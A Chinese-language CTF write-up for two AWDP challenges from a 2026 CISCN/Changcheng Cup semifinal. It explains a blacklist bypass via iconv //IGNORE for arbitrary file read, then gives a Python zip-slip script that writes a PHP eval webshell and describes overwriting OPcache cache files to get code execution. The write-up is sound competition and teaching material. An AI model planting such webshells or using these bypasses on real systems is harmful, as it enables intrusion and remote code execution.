第十九届ciscn&第三届长城杯半决赛WP

tiran Lv2

awdp

MediaDrive

分析

首先查找查找敏感函数

发现有一个file_get_contents并且他的路径是从cookie中的basepath这个参数而来

所以可以通过修改cookie中的basepath来进行任意文件读取

break1

但是在读文件之前有一个黑名单来阻止读取flag

但是,他的黑名单检测是在iconv转换之前的检测

那我们看看这个iconv转换

1
2
3
4
5
6
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}

有一个点很重要IGNORE,也就是他会把不符合编码规则的内容直接给忽略掉,

所以我们可以f=fl%dfag来绕过正则匹配

break2

但是,还有一种方法ISO-2022-CN-EXT存在unicode转换漏洞,用unicode绕过

fix

修的话就比较简单了

一是把黑名单放在转换之后

二是把路径直接写死为/var/www/html/uploads/

easy_time(预期解可能吧

break

首先他的认证全是cookie

我们不需要去爆破哈希,而直接修改cookie就可以登陆(当时比赛没看出来,是爆弱口令出来的,T~T)

然后看到有一个路由/plugin/upload

发现他上传文件后会自解压

并且使用的是os.path.join,存在路径穿越的危险

然后构造路径穿越去写马

1
2
3
4
import zipfile
  
with zipfile.ZipFile('zipslip.zip', 'w') as zf:  
    zf.writestr('../../../../../../var/www/html/1.php', "<?php @eval($_GET['123']); ?>")

但是我在本地复现提示不合法

然后在docker-compose.yaml中发现端倪

他开了只读!!!

我们能写的地方只有下面tmp那几个

但是网上wp都是这么写的(T~T)

在刷公众号时发现了这位师傅

然后就去研究了一下

然后在phpinfo中发现了这个题开了Zend OPcache

并且默认的路径正好就是tmp

Opache是php中一个生成缓存文件的拓展,当我们访问一个php文件时,他会产生一个缓存文件,下次访问该php文件时,就会直接根据缓存文件回显页面

所以想要rce,我们就得覆盖掉生成的bin文件

根据前人的智慧可以知道

然后结合我们自己的题目环境就是

1
2
<?php
var_dump(md5("8.2.6API420220829,NTSBIN_4888(size_t)8\002"));

通过开天眼发现确实没错

然后就是伪造的问题了,有一个简单的方法就是在启动一个docker,把里面index.php改成木马然后访问拿缓存文件

然后缓存文件要改两个地方,一个systemid和时间戳(得小端序倒着写!其他师傅没提到我还研究老一会T~T

参考文章

php Opcache插件进行RCE - Zer0peach can’t think

  • 标题: 第十九届ciscn&第三届长城杯半决赛WP
  • 作者: tiran
  • 创建于 : 2026-03-31 00:23:09
  • 更新于 : 2026-03-31 00:26:02
  • 链接: https://www.tiran.cc/2026/03/31/第十九届ciscn-第三届长城杯半决赛WP/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
第十九届ciscn&第三届长城杯半决赛WP